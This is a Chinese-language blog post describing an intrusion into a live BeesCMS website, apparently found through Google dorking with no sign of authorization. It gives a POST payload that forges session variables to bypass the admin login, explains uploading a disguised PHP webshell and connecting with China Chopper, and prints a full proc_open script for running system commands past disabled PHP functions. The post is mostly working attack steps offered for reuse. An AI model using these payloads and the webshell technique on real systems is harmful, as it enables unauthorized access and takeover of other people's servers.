记一次渗透挖洞提权实战

HACK学习

发布于 2019-08-06 12:24:54

1.6K0

发布于 2019-08-06 12:24:54

文章被收录于专栏：HACK学习

摘要：这是一次挖掘cms通用漏洞时发现的网站，技术含量虽然不是很高，但是也拿出来和大家分享一下吧，希望能给一部分人带来收获。

0x01 进入后台

在通过googlehack语法挖掘beescms时发现了这个站点

利用网上的payload，在/mx_form/mx_form.php?id=12页面使用hackbarPOST以下数据

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000

然后访问/admin便可以直接进入后台

0x02 拿shell

进入后台后在‘添加产品模块’处寻找到了上传点

尝试上马，但提示‘上传图片格式不正确’，于是上传图片马抓包，在repeater里更改后缀为php，然后go

根据回显没有看出是否上传成功，但也没说失败。经过寻找在‘上传图片管理’处找到

点击图片发现解析了，直接菜刀连接，拿到shell

0x03 绕过安全模式

拿到shell后进入终端查看权限，但却发现执行命令失败，可能远程启用了安全模式

经过在网上一番查找得出：要找到未禁用的php执行函数。先上传了一个查看phpinfo的脚本，找到已禁用的函数

发现proc_open函数未被禁用，于是找到如下php脚本

<?php
    $descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
        0=>array('pipe','r'), //STDIN
        1=>array('pipe','w'),//STDOUT
        2=>array('pipe','w') //STDERROR
    );
    $handle=proc_open('whoami',$descriptorspec,$pipes,NULL);
    //$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
    if(!is_resource($handle)){
    die('proc_open failed');
    }
    //fwrite($pipes[0],'ipconfig');
    print('stdout:<br/>');
    while($s=fgets($pipes[1])){
    print_r($s);
    }
    print('===========<br/>stderr:<br/>');
    while($s=fgets($pipes[2])){
    print_r($s);
    }
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($handle);
?>

上传后可以执行命令，成功绕过安全模式